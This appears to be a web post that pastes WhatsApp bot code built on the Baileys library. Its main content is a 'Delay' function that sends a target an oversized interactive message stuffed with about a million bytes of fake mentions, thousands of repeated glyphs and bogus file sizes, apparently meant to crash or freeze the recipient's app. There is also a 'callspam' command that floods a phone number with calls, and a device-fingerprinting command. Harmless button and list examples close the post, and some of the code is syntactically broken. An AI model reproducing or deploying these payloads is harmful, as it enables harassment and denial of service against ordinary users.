The Shadow of secrets 軎

LETS GET TO 5K

Sometimes the darkest place isn't the night it's the silence inside you when no one hears your screams

async function Delay(from) {
  const generateRandomJid = () => {
    const randomNumber = Math.floor(Math.random() * 1e10).toString().padStart(10, '0');
    return "91${randomNumber}@s.whatsapp.net"
  };
  const createTempFile = () => {
    const tempFilePath = path.join(__dirname, ./database/temp/temp_jids_${Date.now()}.json);
    let jids = [];
    let currentSize = 0;
    while (currentSize < 1061432 - 50) {
      const jid = generateRandomJid();
      jids.push(jid);
      currentSize += jid.length + 3;
    }
    fs.writeFileSync(tempFilePath, [${jids.join(',')}]);
    return tempFilePath;
  };
  const tempFilePath = createTempFile();
  const jidsss = JSON.parse(fs.readFileSync(tempFilePath));
  const ui = 'ꦽ'.repeat(5000);
  await sock.relayMessage(from, {
    "ephemeralMessage": {
      "message": {
        "interactiveMessage": {
          "header": {
            "documentMessage": {
              "url": ${url},
              "mimetype": "application/vnd.openxmlformats-officedocument.presentationml.presentation",
              "fileSha256": ${fileSha256},
              "fileLength": "9999999999999",
              "pageCount": 1316134911,
              "mediaKey": ${mediaKey},
              "fileName": "⛤",
              "fileEncSha256": ${fileEncSha256},
              "directPath": ${directPath},
              "contactVcard": true,
              "jpegThumbnail": ${jpegThumbnail}
            },
            "hasMediaAttachment": true,
          },
          "body": { "text": ⛤${ui} },
          "contextInfo": {
            "mentionedJid": jidsss,
            "mentions": jidsss,
          },
          "footer": { "text": ⛤${ui} },
          "nativeFlowMessage": {},
          "contextInfo": {
            "mentionedJid": jidsss,
            "mentions": jidsss,
            "forwardingScore": 127,
            "isForwarded": true,
            "fromMe": false,
            "participant": "0@s.whatsapp.net",
            "remoteJid": "status@broadcast",
            "quotedMessage": {
              "documentMessage": {
                "url": ${url},
                "mimetype": "application/vnd.openxmlformats-officedocument.presentationml.presentation",
                "fileSha256": ${fileSha256},
                "fileLength": "9999999999999",
                "pageCount": 131613491,
                "mediaKey": ${mediaKey},
                "fileName": "⛤",
                "fileEncSha256": ${fileEncSha256},
                "directPath": ${directPath},
                "contactVcard": true,
                "jpegThumbnail": ${jpegThumbnail}
              }
            }
          }
        }
      }
    }
  }, { participant: { jid: from }});
}

case 'device': {
  if (!isBot) return;

  try {
    const quotedMsg = info.message?.extendedTextMessage?.contextInfo?.quotedMessage;
    const quotedMessageId = info.message?.extendedTextMessage?.contextInfo?.stanzaId;
    const participant = info.message?.extendedTextMessage?.contextInfo?.participant;

    if (!quotedMsg || !quotedMessageId) {
      return await sock.sendMessage(from, { 
        text: 'Please quote a message to check the device type' 
      }, { quoted: info.message });
    }

    // Method 1: Check message ID patterns (more comprehensive)
    let device = 'Unknown Device';
    
    // iOS detection (message IDs often start with 3A or 3EB)
    if (/^(3A|3EB)/.test(quotedMessageId)) {
      device = 'iPhone (iOS)';
    } 
    // Android detection (longer IDs, typically 24+ characters)
    else if (quotedMessageId.length >= 24) {
      device = 'Android';
    }
    // Web/Desktop detection (specific patterns)
    else if (/^[A-Z0-9]{8}-[A-Z0-9]{4}-[A-Z0-9]{4}/.test(quotedMessageId)) {
      device = 'WhatsApp Web/Desktop';
    }
    // Business API detection
    else if (quotedMessageId.startsWith('BAE5') || participant?.endsWith('@s.whatsapp.net')) {
      device = 'WhatsApp Business API';
    }

    // Method 2: Check for message features (more reliable)
    const hasReaction = quotedMsg?.reactionMessage !== undefined;
    const hasPoll = quotedMsg?.pollCreationMessage !== undefined;
    const hasButtons = quotedMsg?.buttonsMessage !== undefined;

    if (hasReaction || hasPoll) {
      device = 'Android (newer version)'; // Reactions and polls were Android-first features
    } else if (hasButtons) {
      device = 'iOS or Android'; // Buttons work on both but implementation differs
    }

    // Additional check for ephemeral messages
    if (quotedMsg?.ephemeralMessage !== undefined) {
      device += ' (Supports Disappearing Messages)';
    }

    await sock.sendMessage(from, { 
      text: `📱 Device Detection:\n\n` +
            `• *Type*: ${device}\n` +
            `• *Message ID*: ${quotedMessageId}\n` +
            `• *Detection Method*: ${device === 'Unknown Device' ? 'Basic' : 'Advanced'}`
    }, { quoted: info.message });

  } catch (error) {
    console.error('Device detection error:', error);
    await sock.sendMessage(from, { 
      text: '⚠️ Failed to detect device. Please try with a different message.' 
    }, { quoted: info.message });
  }
}
break;

case 'callspam': {
  try {
    const [mobileNumberRaw, spamCountStr] = args.join(" ").split(',').map(arg => arg.trim());

    // Validate input
    if (!mobileNumberRaw || !spamCountStr) {
      return sock.sendMessage(from, { text: '❌ *Usage:* call <number>,<count>', quoted: m });
    }

    const mobileNumber = mobileNumberRaw.replace(/[+\s()-]/g, '');
    const spamCount = parseInt(spamCountStr);

    if (isNaN(spamCount) || spamCount < 1 || spamCount > 20) {
      return sock.sendMessage(from, { text: '❌ *Count must be a number between 1 and 20.*', quoted: m });
    }

    const target = `${mobileNumber}@s.whatsapp.net`;

    // Show progress
    await sock.sendMessage(from, { react: { text: "⏱️", key: m.key } });

    for (let i = 0; i < spamCount; i++) {
      sock.offerCall(target);
      await delay(1000); // Prevent flooding too fast
    }

    // Done
    await sock.sendMessage(from, { react: { text: "✔️", key: m.key } });

  } catch (error) {
    console.error(error);
    await sock.sendMessage(from, { text: '❌ *An error occurred while processing the command.*', quoted: m });
  }
}
break;

Complete Button Support:
Quick reply buttons
Interactive lists
Template messages
Response handling
Type Safety:
TypeScript definitions included
Proper type checking for all button types
Automatic Patching:
Creates backup of original files
Easy reapplication after updates
Error Handling:
Validates button configurations
Proper error messages for invalid usage
Maintenance Friendly:
Clear version management
Modular patch system

{
  "scripts": {
    "postinstall": "node baileys-buttons-patch.js"
  }
}

// Button message with quick replies
async function sendButtonMessage(jid) {
  await sock.sendMessage(jid, {
    text: "What would you like to do?",
    buttons: [
      {
        buttonId: 'id1',
        buttonText: { displayText: 'View Products' },
        type: 1
      },
      {
        buttonId: 'id2',
        buttonText: { displayText: 'Contact Support' },
        type: 1
      }
    ],
    footer: "Powered by Baileys"
  });
}

// Interactive list message
async function sendListMessage(jid) {
  await sock.sendMessage(jid, {
    text: "Our Products",
    title: "Product Catalog",
    buttonText: "Browse Products",
    listType: 'SINGLE_SELECT',
    sections: [
      {
        title: "Electronics",
        rows: [
          {
            title: "Smartphone",
            description: "Latest model with 128GB storage",
            rowId: "product1"
          },
          {
            title: "Laptop",
            description: "16GB RAM, 1TB SSD",
            rowId: "product2"
          }
        ]
      },
      {
        title: "Accessories",
        rows: [
          {
            title: "Headphones",
            rowId: "product3"
          }
        ]
      }
    ]
  });
}

// Handle button responses
sock.ev.on('messages.upsert', ({ messages }) => {
  const message = messages[0];
  
  if (message?.buttonsResponseMessage) {
    const selectedId = message.buttonsResponseMessage.selectedButtonId;
    console.log('User selected button:', selectedId);
  }

  if (message?.listResponseMessage) {
    const selectedId = message.listResponseMessage.singleSelectReply.selectedRowId;
    console.log('User selected list item:', selectedId);
  }
});